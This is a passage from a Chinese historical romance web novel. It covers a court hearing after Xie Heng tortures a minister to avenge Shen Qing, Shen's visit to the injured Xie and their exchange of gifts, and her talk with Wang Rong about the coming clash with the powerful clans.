小金顶上谢珩对沈青怎么暗生情愫,岳瑛都看在眼中,只是来了洛京,两人不再似从前热络,沈青不愿再亲近谢珩,加上她一直强调谢珩在跟王家小姐相看,她以为谢珩歇了这个心思。 今日看来,完全没有,甚至比在小金顶上更甚。 被劈头盖脸追着问了一堆,脑海中不由得浮现起方才谢珩用铁烙一下一下往庾尚书身上压的狠厉模样,与遥远记忆中哥哥暴揍小胖孩的画面重叠在一起,是同一种感觉。 谢珩真的会喜欢她吗? 她第一次在心底产生如此疑惑,问题是,谢珩如果不是断袖的话,怎么会喜欢上身为男人的她呢? 这简直有点不可想象。 她真心求问:“你觉得……谢珩有可能成为一个断袖吗?” 岳瑛张张嘴,回答不出来。 她又问:“如果他喜欢我,干嘛这么麻烦喊你来给我上药呢?你可是我的正室夫人,这不很奇怪吗?再说了,他自己又不是没上过。” 她可记得,小金顶上,他一通胡乱上药扰乱她心神,然后立刻带兵占领了小金顶的事。 岳瑛总觉得哪里不对,但又说不上什么来回答她。 最后沈青隐去他没再跟王家小姐相看的事情:“那两套头面首饰,没送到王府,那也没送给我啊,这也很难解释吧。” 这一点岳瑛倒是认同,这确实是最难解释的,那两套女子用的头面首饰,谢珩不可能买来自己用,那就只能是送人,没有送给王姑娘,沈青现在是男子也不可能送给她,那就是送给别人了。 所以谢珩其实心有所属,只是不为他人所知? 阴暗的隔间里,隔绝出两人的小小天地,一个痛得哇哇乱叫也要趁间隙叽叽咕咕,一个尽心上药也时不时认真分析。 不过始终没有得出一个确切结论。 宫中的禁军来了。 第75章 第75章现在这情况对吗? 宫中禁军的到来,及时阻止了这场闹剧。 但也不算特别及时,当沈青再次见到庾尚书的时候,这人已经完全看不出,两个时辰前还是多么魁梧整肃模样,现在血汗淋漓瘫软如泥,被人用担架抬着从牢房中挪出。 三人很快被带进了宫中。 事关朝廷几位三品以上的官员,尤其又牵扯到谢、庾二家,朝臣们不敢懈怠,在朝中各有品阶份量的大员纷纷闻讯前来。 这本来是一桩污蔑嫁祸后意图灭口的案子,但因为最后谢珩的加入,走向变得有些许奇怪,看起来格外有种三个朝廷高官在大牢中毫无法纪互殴泄愤的既视感。 进了乾元殿,孝武帝还没来,一众先行赶来的朝廷要员们,视线落在这三个画风迥异的人身上,赶来的路上,或多或少他们都听了个大概,于是各自表情也各有精彩。 沈青偷偷往身旁的谢珩身上觑了一眼,他还是一派清疏平静模样,察觉到她目光后侧过头来,也偏头看她,目光中带上几许柔和:“没事 的。” 她默默扶额。 她不是紧张害怕啊,是觉得有一点丢脸。 不得不说,谢珩闯进来抓着庾尚书一顿大刑伺候的画面,是挺大快人心的,但是事发过后,这样未免有些过于土匪的行径,放到大庭广众之下,身为一个曾经的土匪,沈青居然有点想替谢珩尴尬一番,清风朗月谦谦君子的名声这次可能毁得有些厉害。 况且她每次来乾元殿告状或者被告状,她都是理直气壮的,本来她捱的这一顿鞭子,挂了这一身伤,就是有略施一点苦肉计的意思,是为了能更直观激烈地揭露庾尚书的种种所为。 可是现在,躺在担架上出气只比进气多的庾尚书,看起来不知要比她惨多少,她这一身伤突然看起来变得没有太多说服力了。 走一步看一步吧。 一声叹息后,不知大白天从哪个温柔乡里被拖出来的孝武帝,终于姗姗来迟,满脸幽怨,看向沈青的目光中就差写着“沈爱卿怎么又是你”这句话了。 不过当他看到那俊秀身姿上是血痕斑斑时,几乎要从龙椅上跳起来:“沈爱卿,你这是怎么了?谁这么大胆子,竟然敢把你打成这样?” 虽然庾尚书现在看起来要比她惨很多,可是卖惨的姿态还是要有的,不同于之前在乾元殿上的剑拔弩张,她这次立马跪上前声泪俱下。 将她在查办桓家过程中如何尽心尽力,故而得罪了桓家,桓、庾二家又如何唇亡齿寒,为了报复她,故意在街头众目睽睽下栽赃她杀人,将她带到刑部再施以大刑,欲将她除之而后快,前因后果,说得明明白白。 一番声情并茂下,简直令孝武帝都潸然泪下,如此忠臣良士,为朝廷鞠躬尽瘁,竟然遭到奸邪报复,险些被虐打致死,自己作为君王,真是罪过! 当即准备问罪时,有朝臣提醒:“陛下,此人从前是匪身,最擅长巧言令色,陛下英明,千万不要被他的妖言惑众迷惑,说了这么多,不都是她的一面之词吗?” 孝武帝忙收了眼泪:“对了,沈爱卿,你……说的这些可有证据?” 沈青应答如流:“陛下,臣虽然曾是匪身,可是入朝来深受陛下礼义教化,绝不会像庾尚书那般,做空口白牙诬陷朝臣之事。今日在街头自戕栽赃我的人,正是桓家一位子弟,因为家中被抄没而报复于我,现在人已经被北军中侯萧瑞审完,请陛下宣召萧瑞,将供词呈上。” 几人被带进宫时,萧瑞也闻讯赶来,两人只需要一照面,她就知萧瑞把事情办到什么程度。 这几个月来的萧瑞,办事越发让人欣慰。 不过萧瑞呈了供词上堂,自然也有不少朝臣认定作伪,直到将桓家那位自戕的公子宣上堂来,一顿恩威并施下,那本就贪生怕死的公子立刻供认不讳。 证明沈青所言句句属实。 孝武帝顿时龙颜大怒:“你们果然蓄意报复迫害朝廷栋梁!来人,去把庾尚书给我宣上来!” 满堂沉默,孝武帝和满朝文武面面相觑中,沈青不是很有底气地转了转眼珠,示意他看一看堂上还摆了副担架,担架上还躺了个苟延残喘的人。 孝武帝反应过来,反复确认:“你是说……这这是庾尚书?” 得到肯定回答后,他松了口气,甚至还低喃了两句“甚好”,但马上想到还是应该意思一下:“不是,所以庾尚书怎么变成这幅样子了?” 出来解释的是谢珩:“关于桓家钱庄及后续所有事情的查办,都是沈青与臣联手而为,今日臣在衙署中忽闻沈青被刑部带走,联想到桓、庾二家关系匪浅,其中可能有端倪,意识到两家可能有报复之嫌,便动身前去刑部查看。不料正碰上庾尚书对沈青施以重刑,重重围困之下,臣不得不出手伤人。” 九分真,一分假,那一分假也被掩饰得极为漂亮。 沈青刚刚还泪眼婆娑的眸子,笑意实在掩藏不住,她悄悄偏头去看,身旁这泠然清贵的神仙公子,果然,这样一本正经往话里兑水的样子怪有意思的。 “好,谢爱卿能及时察觉这等奸邪举动,拔刀相助,英雄救美,朕非常欣慰。朕要重重赏你!” 孝武帝将眼前的御桌拍得砰砰响,沈青也被他这么敲得心里直打鼓,拔刀相助就算了,英雄救美是什么意思?说她是那个“美”吗? 她不由得抬眸去看龙椅上的人,孝武帝本来没有什么血色的一张脸,因为愤怒和兴奋而涨得通红。 朝堂之上,也是一片窸窣纷纷。 啧,沈青秀眉拧了狞,这种怪异不是丢脸的怪异了,总之就是怪不自在的。 她下意识想去看谢珩的表情,忽然都有种心虚不敢有看过去的动作,只觉身边这人不动如山,好像一切如常。 为首的谢道清站出来打破这怪异的氛围:“陛下,虽说庾尚书有迫害朝臣之嫌,谢珩身为大理寺卿察觉异常,及时阻止,尚且还能说是在他职责范围内。但是一码归一码,庾尚书之过,自有朝廷法度在惩治,谢珩将庾尚书拷打至此,是否也算滥用私刑?” 沈青有些意外,本来以为是谢、庾二家的冲突,没想到出来跟谢珩争锋相对的,竟然是谢道清。 对于谢道清的话,孝武帝不敢否定,忙对谢珩扼腕叹息道:“就是,一码归一码,谢爱卿既然已经及时阻止了,便自有朝廷法度来惩治,你为何还要私自将他拷打至此呢?” “朝廷法度是朝廷法度,臣是臣,沈青之痛,臣恨不能当即以百倍之力还施彼身。” 朝堂上原本零碎的窸窣,变成一阵失控的哗然。 连沈青都愣住。 他这一张巧舌如簧在这件事上不仅没有半点狡辩,甚至所说之辞比他所做还要更笃定坚决,仿佛如果不是宫中禁军及时到来,他非要直接让庾尚书死在刑具上不可。 问题是……现在的情况对吗? 当着满朝文武,他说这样的话,沈青眼前耳畔都是一片嗡嗡,完全无从分析起现在情况到底哪里不对。 保护她?偏袒她?……喜欢她? 一个大男人,对着另一个大男人,这对吗?! 孝武帝一张没有血色的脸涨得更加通红,混沌的双眼都变得神采奕奕:“谢爱卿啊,你是跟……” “陛下!”谢道清及时出声,没有让他把话说完:“既然一码归一码,谢珩对朝廷官员滥用私刑,按律该革职处置。谢家管教不严,身为谢家长辈,臣也难辞其咎。臣会将人带回去,让他在家闭门思过,直到改过为止。” 沈青回过神来,谢道清是想借此番机会,将谢珩强行召回谢家,限制他在朝廷之中的任何举动。 是谢家内部的暗潮汹涌。 她终于去看身边人的神色,清风朗月的公子还是一派淡然,面向高台:“刑部犯下大案,若我被革职,不知陛下想要启用何人?” 他的语气悠游从容,仿佛在说,除了他,谁还敢真正查庾家? 孝武帝还没来得及开口,谢道清截住他的话头:“朝野上下,贤能之士数不胜数,世家子弟如云,陛下想要启用谁都与你无关。” 谢珩将目光转向谢道清,唇畔笑意从容:“那叔父,是想要启用世家之中哪位子弟?” 沈青不免深吸口气,根据她对谢珩的了解,他这个淡然的语气,这个漫不经心的笑容,意思就是,不管谢道清启用了谁 ,那个人都死定了。 她专心致志打量着叔侄二人的对峙,几分相似的眉眼,几分相似的清正,几分相似的压迫,明明谁都没再说一句话,只是眼神中的交汇一瞬,在她看来,比真正的刀枪相碰还要激烈。 孝武帝不敢说话。 谢道清看上去也没有完全的把握,将这个侄子掌控在股掌之中。 气焰上,竟然隐隐被年轻的侄子压下去。 有人出来提议:“珩公子是朝廷的肱骨之臣,现在刑部犯下案子,该由三司会查,临时更换大理寺卿一职恐不利于查案,不如以禄代刑,小惩大诫吧。” 沈青循声望去,出来说话的应该是谢珩自己的人,果然,孝武帝对这样的提议很满意,但谢道清那边又据理力争起来。 经过几番拉扯,这桩闹剧终于以谢珩被罚三个月俸禄,受五十杖刑而告终。 谢珩被拉去受杖刑了。 受刑的时候,孝武帝为了补偿沈青无辜受害,亲自带她去了宫中宝库挑选珍宝,她囫囵挑了一阵,等她抱着一匣子金银珠宝出宫的时候,谢珩已经受完五十杖刑。 听说是被两人搀扶着才上了马车,现在回了谢府。 秋风斜阳里,一匣子珠宝熠熠生辉,晃得沈青只觉眼疼。 第76章 第76章朋友? 沈青身上总共十五道鞭痕,第二日手下来报,说庾尚书伤情过重,正转由宫中太医医治,身上被铁烙烙下的印记,正好也是十五道。 是巧合吗? 她当时就在现场,只记得那庾尚书凄厉惨叫特别刺耳,她当时心头一颤一颤的,根本没有注意到谢珩往他身上烙了多少下。 这样的皮肉伤虽然不算轻,可是对她来说也真不算什么,加上一晚上谢府不知送来多少妙药,上了药,缠紧伤口,她依旧能跑能跳的。 谢珩就没这么舒服了,挨了五十杖刑,就只能卧床休养些时日。 这一次没有什么犹豫,晨起秋阳刚刚铺洒进院子的时候,沈青便出门了。 虽然她跟岳瑛都分析不出个所以然来,但谢珩维护了她是事实,为了替她出气受了杖刑这也没错。 出门走在街道上,熙熙攘攘人来人往间,她忽然有点意识到,可能她跟岳瑛都想岔了。 为什么一个人对另一个人的维护,就一定要往男女之情上面想,非要揣测人家是断袖呢? 小时候哥哥会维护她,长大后……如果有人敢这样对待岳瑛和萧瑞,她也一定会做出甚至比谢珩还要暴戾的举动来。 不过不管怎么看,这么些天来的一路同行,谢珩至少是把她当做一个好友了。 她先去了瓷器店,昨日捏的那只小老虎被烧制出来,掌柜亲自给她画上老虎的皮毛花色,……看上去更像一只大花猫了,但是也很可爱。 她心满意足揣上小老虎,越往谢府走越还是觉得自己两手空空,好在路过东市时,看见街边一个白胡子老头,她多看了一眼,那白胡子老头也笑容可掬跟她打着招呼。 他面前摆着两个竹筐,竹筐里满满当当都是新鲜圆硕的石榴。 “这可是今年第一批下树的石榴,公子要不要买些?” 然后沈青就背了一大兜石榴继续上路。 谢府其实离南风楼很近,所以她几乎是轻车熟路到了谢府大门,听说这间宅子是谢珩与他母亲离开谢家主宅另觅的新宅,门庭的确不算恢弘气派,独有偏安一隅的雅致。 不过当她抬手敲响檐下朱红大门,沉重门板回以醇厚动听的敲击声,她看着自己手上这一兜圆滚滚的石榴,意识到一个很严重的问题,等会来开门的门童,不会当她是哪里来打秋风的穷亲戚吧? 好在她这个顾虑多余了。 来开门的门童不以罗衣辨人,听她报完姓名和来意后,便请她进门,随后又请人前去院中通报。 进门后倒是等了些时间,她坐在门房前的长椅上盯着地上青砖看得聊赖,内院终于来了人,竟然是鸣山。 反正从渝州起,鸣山一见她就忍不住要黑脸,沈青毫无所谓,笑着打招呼:“小二哥,我来看望你家公子。” 鸣山心里虽巴不得这人离自家公子远些,面上还是要维持敬意:“沈公子请随我来。” 沈青被领着穿堂过院,与谢珩相识这么久,这是她第一次见识到他平时真正生活起居的地方。 这座宅院的主人品味甚佳,没有堆金砌玉的富丽豪奢。 富贵气象,不在显山露水处。 不说庭院楼阁多具巧思,即便是地上的青砖碎石的铺陈走向,看似随意天然,不知其中凝聚多少匠心。 沿着阶畔闲闲长了一路的兰草,沈青有幸在某次打劫时见过,彼时主人用金镶玉的花盆种养着,紧紧抱在怀里,宁可将金镶玉的花盆给她,也不舍那株兰草,后来她才知这样品种的兰草,不知比那个金镶玉的花盆要名贵多少。 一路走来,沈青几乎没见过几个下人,皇城最繁华处的庭院,树影中鸟鸣幽幽更加清越。 果然无一处不是谢珩的风格品味。 最后在一处肃整宽檐的厅堂前停下时,沈青看了又看,还是忍不住问:“不是……你家公子平时难道住这里头吗?” 这座厅堂位于整个谢府的轴中,一众雅致楼阁庭院里,独属这间算得上几分气势恢弘,这一看就是正厅主殿,主人家最隆重事务的操办地点。 谢珩捱了杖刑,按理应该卧床……噢,都不能说卧床,只能趴在床上休养,她前来探病,自然应该是在内院榻前探望才是。 鸣山古怪地扫了她一眼:“沈公子请进。” 跨过高高门槛,沈青进了大门,赫然就看见谢珩白衣清越如昨,坐在正正方方厅中主位上。 昨天才捱了五十杖,今天就可以坐在椅子上了吗? 这样的天赋异禀让沈青心中称奇,一双眼睛忍不住地朝着座上的人打量,清隽的五官眉眼的确透了几分苍白病态,虽然他身姿向来笔挺,不过总感觉此时他直挺挺坐在那儿,有种说不出的僵直。 他身前有一张长长的桌案,再往下,便看不到其中情形了。 谢珩抿了抿唇,温声邀请她:“坐吧。” 那声音也虚弱,绷得不太自然。 沈青虽觉得古怪,还但是依言在长长桌案的另一头坐下,与谢珩遥遥相对。她将兜中的石榴放上桌案:“虽然你什么也不缺,这是刚从树梢上摘下来的石榴,你休养无聊的时候,就当吃个新鲜吧。” 布兜被摊在桌上,露出一颗颗圆润新鲜的石榴,石榴头上还开着和榴花一样的小口,像是咧着嘴冲着人笑。 谢珩的目光在那些石榴上微微凝住,石榴,在民间有“多子”的寓意,有求子心愿的夫妇,常常会在家中摆放石榴。 很快,他将目光挪开,重新看向坐在桌案另一端的人,莞尔一笑:“你能来看我,我很开心。” 她能来府上看他,已经足够令人满足。 沈青见他眼角唇畔笑意温润,是心情还不错的样子,仿佛刚才那一瞬间微妙的凝滞只是错觉,她摆摆手:“要不是因为我,你昨天也不至于受刑,我自然该来。” 说完,两人无话,厅中陷入一阵沉默。 正厅宽阔整肃,沉默中显得尤为肃穆,这跟沈青的预想完全不一样,她以为就是在榻前随便聊聊天,关心一下对方伤势,根本不至于要这样敛气屏声。 这样的厅堂桌案前,仿佛小时候去拜会某家长辈,不自觉就让人腰背挺直,不敢随意举止。 下一瞬,她几乎怀疑谢珩要在她面前严肃地谈论起朝廷大事。 不过也是,里院内宅是多私人的地方,谢珩这种清冷疏淡的人,应该也不轻易会让人前去。 她坐不住,干笑了两声打破沉闷,自己找台阶下:“你们府上, 招待朋友还是挺正式的。” “朋友?” 谢珩顿了一下,望向她的目光多了几分清冷的审视:“你未免也有点太忘事。” 如果他没记错的话,小金顶上,应该是办过酒敬过茶的。 温润声音里忽然带上的凉意让沈青背上一凛:“我忘什么了?” 谢珩僵硬地撇开目光:“没什么。” 他知道,其实岳瑛也只是办过酒,但也是连婚书都没有一张的。 罢了。 周遭的空气又变得凝滞,确定这人唇畔那点莞尔笑意倏然消失,沈青忙想了想,莫非是以前吵架那些绝交的话他还记着? 他觉得他们现在根本算不上朋友? ……也行吧。 不算就不算。 虽然有一点无语,但她今日毕竟是来探病的,也不至于跟主人家去争这点气,于是平顺了一下心情,又从怀里摸出那只胖胖小老虎。 “上次喝酒我不是爽约了嘛,我府上又收了你很多名贵药材,于情于理,总要感谢你。我去铺子里自己捏了个小老虎,烧制出来后……” 她声音突然僵住,如果不算好友的话,这亲手捏的小老虎突然就变得毫无价值,在别人眼中岂不是连废铜烂铁都不如? “你昨天是为了去捏这个,然后被刑部的人撞上?” 没有注意到谢珩的声音已经轻柔下来,沈青脑海里还想到了王意然亲手做的那只细口花瓶,怎么也比这笨拙的小老虎精美实用。 但拿都拿出来了,她只好硬着头皮给这小老虎美言几句:“这本来我是捏了一对儿小人的,后来……后来陶土不太够,捏出来小人儿太小了,我就把小人儿又混在一起,变成这小老虎了。这小老虎……也挺胖的。” 她想要极尽溢美之词夸赞一下,那种熟悉的侵略感又迎面而来,害她夸半天夸不出个所以然来。 “这本来是两个小人儿?” “嗯。” “你知不知道,先朝有个女画师……” “什么?” 听到有什么新奇故事,沈青顿时抬起眸子,眉眼一亮。 “……没什么。” 其实是先朝有个女画师,也是塑了两个小泥人,打碎再糅合重塑,从此互相融合,你中有我,我中有你,成为一段佳话。 刚脱口而出之际,他没想起这是女画师为了阻止自己夫君纳妾时的作为,现在想起,他便不想再对沈青说。 可是不管怎么样,她手上那只看起来明明像小肥猫的老虎,就顺眼很多了。 他抬手唤她:“你坐过来吧。” “嗯?” 沈青不明所以,这人眼角眉梢忽然又冰消雪融了,她以前怎么没发现,他是一个这样阴晴不定的人? 谢珩抿了抿唇,虽有些难以启齿,终于还是开口:“太远了,我不方便动。” 一开始过来的时候,他没有意识到这张郑重其事的桌案,竟然这么碍事,中间像隔了道银河天界般。 沈青明白过来,见他脸色温和如初,就依言靠着桌案,在他手边一端坐下,这样两人隔得近了许多,她终于看到,原来他身下坐的椅子上,垫了一层又一层软褥。 谢珩从她手中拿走小老虎:“多谢。” 她手中一空,视线重新挪回桌面,看到那只小老虎现在被谢珩把玩在掌中,好像他真的还挺喜欢的。 她微微放下心来。 “我也有东西要送给你。” “送给我?现在吗?” 如果没记错的话,今天是她前来探病才是,没等她反应,谢珩已经从怀中取出一只小锦盒,清俊的眉眼甚有些郑重,严格来说,这是他第一个以送礼的形式,给她一样东西。 竟然有些为这礼物是否合对方心意而紧张。 沈青被他这双手呈递的姿态也激得心中一紧,双手忙不动声色在衣摆上擦了擦,抬手间,锦盒已经落在她手心。 “打开看看,喜不喜欢?”谢珩在一边循循诱导。 他的声音不带清寒的时候,总是低缓轻柔,却又令人无从抗拒,沈青手心不免微微冒出汗意,动作尽量斯文地开了锦盒。 清澈的眸中映入一抹翠意。 好漂亮的青簪!好澄澈的碧玉! 见她露出惊艳之色,谢珩放下心来,眼角眉梢笑意清浅:“上次去万德斋,见这只簪子尤其适合你,就买了下来。” 他语气清疏,好像只是顺手。 只是他一直没有找到机会,该怎样送出去,今日她送了他一样东西,那他顺势送一样东西回去,总不至于突兀吧? 没想到沈青听到万德斋三个字,立刻大惊失色:“这未免也太名贵了吧?我怎么能无缘无故收你这样重的礼?” 行走江湖,这种人情是最不好受的,如果这宝贝是她从哪个贪官恶商那里抢的,她会毫无负担,可是身边有人无缘无故送这样的大礼,那绝对以后是要还回去的。 尤其这人刚刚还是一副不情愿跟她做朋友的态度。 “不重,很好看。” 话音未落,沈青僵住不动了。 因为谢珩已经抬手,将玉簪别在她的发间。 她感受到他身子微侧过来时,袖间淡雅梨香,鬓边额角的触感若有若无,近在咫尺的清浅呼吸也若有若无。 好像过了很久,久到她要变成一尊石头,终于听见头顶传来一声:“好了,很衬你。” 向来只用发带的她,顿时很明显感到发髻间多出的重量,她自己看不到,却在对方专注的眸光潋滟里,荡漾着一抹清影。 “真……真好看?” 说话的唇舌好像都不属于自己,她微垂着眸子,想赶紧在地上找个缝钻进去,可惜这正厅的地砖光洁如玉,一丝缝隙都找不到。 “真好看。” 轻如鸿毛的声音扫过她心口,她身子更僵硬了。 谢珩莞尔,笑意分明:“先用膳吧。” “用膳?” 沈青按捺住不受自己控制的紊乱呼吸,尽量让注意力回到对方正在说的话中。 “不用了,我就是来看看你,看你没事就好了。” 下意识的,她真有点想走了,想赶紧呼吸一下外面的空气,不管怎样,至少要离身边这个人远一点,不然她觉得自己一颗心要在身体里砰然炸开。 再说了,这个时辰,用早膳还是午膳啊? 谢珩板着脸很严肃:“哪有上门做客,东家不传席用膳的?” 沈青无奈:“可我刚用过早膳……” “无妨。” 谢珩松了口气,这不是什么大事。 很快,丫鬟小厮们捧着一盏盏琉璃玉盘上桌,两人都有伤在身,便没有备酒,满桌佳肴铺陈眼前,终于让沈青紧绷的身心放松了不少。 原来谢珩在府上吃穿用度是这样的。 别说清乐酒家了,就是月洞门后的小院,再精致的菜肴,与之相比,都相形见绌了许多。 口味也很符合她的心意,她不爱甜食,就连点心,都是晶莹剔透的酸枣糕。 “这么看来,你当初在小金顶,真是受苦了。” 她还记得刚上小金顶,谢珩饿得快瘦了一大圈的模样,由衷感叹。 跟眼前比起来,那都是些什么非人的日子啊! 谢珩继续遵循着他食不言寝不语的规则,没有答她,直到最后,他放了筷子,坐在一旁默然等着沈青大快朵颐完,忽然出声。 “……没有。” “什么没有?” 沈青略艰难地摸了摸自己腰带都快勒不住的肚子。 “没什么。” 直到秋阳高照,清清爽爽的秋风穿堂而过,厅中的客人已经离开。 鸣山急得脚下步子都不太稳,忙冲到自家公子身边,堪堪扶住几乎摇摇欲坠的清影。 “公子,您没大碍吧?我去传郎中来。” 本来公子身上的伤就只能趴着休养,方才待客,就算椅子上垫了一层又一层厚厚的褥子,大部分时候,公子都是用手撑着身子,他现在扶着公子,都能感受着他手臂因为支撑太久而微微发颤。 “鸣山,今日待客,可还算隆重?有没有失了礼数?” 谢珩在脑海中迅速复盘,从沈青进门,到最后离去,所有的待客之道是否尽齐。 “自然没有。” 虽然说不上哪里奇怪,但这样的隆重程度,王、谢家各位长辈到来,也尽于此了。 “没有失礼便好。” 谢珩总算放心,声音虚透:“扶我回去吧。” 沈青离了谢府,手上还提了一只重重的梨花木打造的食盒,无他,今日佳肴实在太丰盛,她根本吃不 完。 这算不算吃不了兜着走? 一兜石榴,一只瓷器,换了一个梨花木的食盒,一根玉簪,还有各种佳肴。 看来谢珩真是一个不喜承人情的性格。 秋风飒飒,微微吹起人的衣摆,暖阳下,整个人心情莫名畅快。 走在路上,她看到自己的影子被日光拉长,映在青砖上,发髻上斜着一支簪子。 就着倒影,她抬手去摸,摸到发簪温润的触觉。 她唇畔的笑意压制不住,甚至引得路人侧目。 不管怎么样,这一段路的同行,她觉得很珍贵。 至于什么时候分道扬镳…… 她微微扬起的唇角顿时笑意全无。 第77章 第77章沈青才是萧瑞的左膀右臂 因为庾尚书对沈青诬陷欲灭口一事属实,顺藤摸瓜,掀起了一轮对庾家和刑部的查办。 之前谢珩对世家手段过于雷霆,这次借着受刑养伤的缘由,暂避锋芒起来,而沈青与他,便很默契调换了彼此之间的位置。 原先是让谢珩挡在前面杀伐决断,她和萧瑞在背后暗自经营,这一次,沈青和萧瑞不再隐于人后。 即便是原先隐于人后的日子,世家高门也无一不想置她于死地,桓家庾家甚至还有一些其他背后势力,依然想尽办法要将她赶尽杀绝,那正好她就此走出来。 经过前面几番朝中的风云变幻,萧瑞也渐渐有了些积累羽翼,他迟早要走上台面,也是时候让开始于人前走动了。 查办庾家和刑部的时候,沈青还腾出手来关注了一下萧瑞的婚事。 京中还有不少高门贵胄对朝中这段时间的风云涌动背后意味着什么尚还感知不明,火没有烧到自己身上,依然笙歌宴席不断。 一场高门豪奢的秋宴,应邀坐在最末席的岳瑛,长嫂如母,跟旧日相识的一些高门贵女提起萧瑞的婚事,意欲要与高门联姻。 这自然遭到了极大的羞辱和耻笑。 没想到萧瑞及时赶到,当着众人的面,恭恭敬敬接了嫂嫂坐上回府马车,扬长而去。 也就是那一次,萧瑞前所未有地,对沈青此举表现出完全抗拒。 他还年轻,沈青其实根本没打算此时真正要给他找一门婚事,看着眼前俊逸少年脸都气红,她也告诉他,他以后的妻子,一定是出自寒门或普通氏族中。 有了岳瑛今日的委屈,将来才能堵住这些高门贵胄的悠悠众口。 不过无论是沈青还是岳瑛,都没有注意到,情绪平息下来的少年,偷偷往岳瑛身上瞟了多少眼。 在那次宴席,岳瑛将萧瑞婚事抛出的意欲被羞辱回绝后,洛京城中局势再次拨云见日,出现更加明晰的分层。 从陈郡侯起,到庾尚书与刑部的尘埃落定,从初春到深秋。 谢珩在世家内部大刀阔斧,沈青和萧瑞在外部慢慢蚕食,不知不觉,世家之势,凋敝了不少。 如今世家之内,形成一道泾渭分明的界限。有识之士拥护谢珩对世家的改革清肃举措,保守之主则痛斥谢珩竟然对世家痛下狠手。 而世家之外,以萧瑞为核心的寒门紧紧凝聚,迅速崛起,终于成为令人无法忽视的存在。 秋风一日比一日清寒肃杀,明明是大好之势,沈青那张清绝容颜上的笑意,却一日少过一日。 她知道,跟谢珩分道扬镳的日子,终于是要到了。 其他世家的势力大部分盘踞在六部,而谢、王二家的势力,则牢牢集中在中书、尚书、门下三省之中,往上制约天子之尊,往下把控世家和六部,民间尝有言,王谢二家,与君王而共天下。 虽说王、谢二家以清正立世,确实不似庾、桓这种大世家残暴不仁,可是数代下来,也早就是沉疴累累。 何况他们遮天蔽日的权势,最终堵住了天下悠悠百姓的生路。 而今天下之弊,归根结底,皆始于世家专权。 她不得不迈出这一步。 世家的凋敝之势,连南风楼都能现出几分端倪,置身期间,明显能感受到其中丝竹歌舞,黯淡了许多。 这几个月来京城风云变幻,沈青实在分身乏术,她也很久没有踏足此处了。 轻车熟路到了阔别许久的包间前,她掀开帷幔,坐在里面那道风流倜傥的身姿依旧如故,只是包间里的清俊小厮们,都换成了曼妙女子,正操着一口软语低吟浅唱。 看到来人,王容微怔一瞬,旋即那双桃花眼里笑意盎然,将包间里的歌女们都遣了出去,问她:“给你去唤苏子珩他们来?” 南风楼里的胭脂酒香都是熟悉的颓靡气息,沈青没什么兴致,径直在王容面前坐下,垂眸看着他给自己面前杯中满上。 两人确实有些时日未见了。 “一想到连你也成为这里的稀客,我还真是有些失落。”王容声音里惆怅难掩。 沈青跟他碰了个杯,并不掩饰心中纠结:“有时候我不知道要怎么面对你。” 她顿了一下:“因为你是我在洛京中,很好的朋友。” 王容抬眸看她,目光流转间有情绪暗涌,数日不见,她眉眼间的轻快洒脱消失了不少,有些单薄的身子,无形中好像被架上层层枷锁。 她愿意跟他吐露心声,他自然也跟她坦诚相对:“如果你说的是这段日子来,你们对世家高门的打压和清肃,那你完全不必对我有愧意。你我相交,一开始也没这么多附加。” 杯酒下肚,冲散了沈青一开始的几分拘谨,她倾身凑近一点,很认真跟他说着前面的丑话:“我现在也不能确定,最后会对王、谢二家做到什么程度,如果有一天,你真的因此失去了眼下这种富贵风流的生活,你不会把我……当仇人吗?” 她不敢说两人还能毫无芥蒂,不反目成仇,已经是她最大的希冀。 王容勾唇笑了笑,举止之间尽是长在富贵堆里的倜傥神韵:“虽然我不曾有违法度,鱼肉百姓,但也不曾鞠躬尽瘁为民请命。我眼下的富贵生活,本就不因我来,也不因我而去,只是一场体验,过眼云烟而已,有什么好记恨的。” 说完见沈青正直愣愣盯着他,他笑意更甚:“当然,你要是因此对我芳心暗许的话……” “人生难得知己,喝酒!”沈青重重跟他碰杯。 酒过几巡,王容见她已经有些醉意朦胧的眉眼间,依然氤氲着淡淡愁绪,好声宽慰道:“你现在做的这些事,完全不用顾虑该怎样面对我,所以更加完全不用顾虑,怎么去面对谢珩。” 沈青杏眼朦胧着,“啧”了一声:“谁顾虑他了?” “不管你走到哪儿,他都会跟你走在一条路上的。” 依稀间,这话她好像在哪听过,不过她和谢珩确实是同行了一段路,只是同行的路已经结束了。 她没再说话。 王容又告诉她一件事:“你知不知道,我意然姐姐,前些日子定了人家?” 这话倒是让沈青瞬间一激灵:“意然姐姐就定了人家?” 王容横眉看她:“什么叫就?她可是从十六岁相看到二十岁,把洛京城的公子都挑遍了啊!你知道她定了哪户人家吗?” “哪户人家?” 沈青还真有点好奇,意然姐姐这样精挑细选,选出来的肯定是绝世佳品。 “洛京人士,姓岳,应该跟你家那个岳瑛,是同一族脉的人家。” 她闻言,下意识去联想两家门第之差,洛京的岳氏,虽说算不上寒门,但在世家如云的洛京,也只是一个排不上名号的氏族。 堂堂王家嫡出的掌上明珠,最后竟然选择下嫁至此? “岳家那位公子,我也是见过,那可真是出尘绝逸,神采斐然,偏偏绝世佳公子。”说到这,王容忍不住轻 摇折扇,喟叹不止。 看他如此神往的表情,沈青仿佛在眼前也看到一位丰神俊朗的公子,脱口便问:“那跟谢珩比怎么样?” “这……”王容竟然很认真地想了一下:“各有千秋,但又平分秋色。如果谢珩是高门玉阶前长出的芝兰玉树,那岳公子就是蓬门荆丛里逸生出的萧萧松竹。” “那可真好。” 一方面她的确为王意然觅得佳婿而高兴,一方面她也明白了王容为何要挑在这时候将这件事告诉她。 这几个月来京中局势的变幻,各个世家终于也开始做出反应。 萧瑞的崛起隐隐有势不可挡之势,有的世家还在固步自封,有的世家已经在高瞻远瞩,主动打破了高门与寒门不可联姻的桎梏,开始为自己谋求一条后路。 说明这些纵横百年的高门世家,不再是一块坚不可摧的铁板,终于也有了退缩瓦解之势。 离开南风楼后,很快,沈青萧瑞与王谢二家的对峙,毫无保留在台面上徐徐展开。 一开始,在朝堂之上,王、谢二家几乎节节败落。 这两家在朝堂之上,参与太深,涉足太广,细查起来,处处都是罪行累累,而沈青和萧瑞,入京不足一年,落草为寇的前尘往事早就被清算过,入京后无数双眼睛盯着,一时还真很难找出可以攻击构陷的把柄。 王、谢二家经过前面几个月因其他世家牵连的屡屡重创,以及内部的分崩离析,早就元气大伤,竟有些招架不住沈青与萧瑞的急攻猛进。 不过这两家也绝非等闲之辈,在一阵被动折损后,很快稳住重心,绝不坐以待毙下去,既然对沈青无可奈何,那他们就把刀尖对准萧瑞。 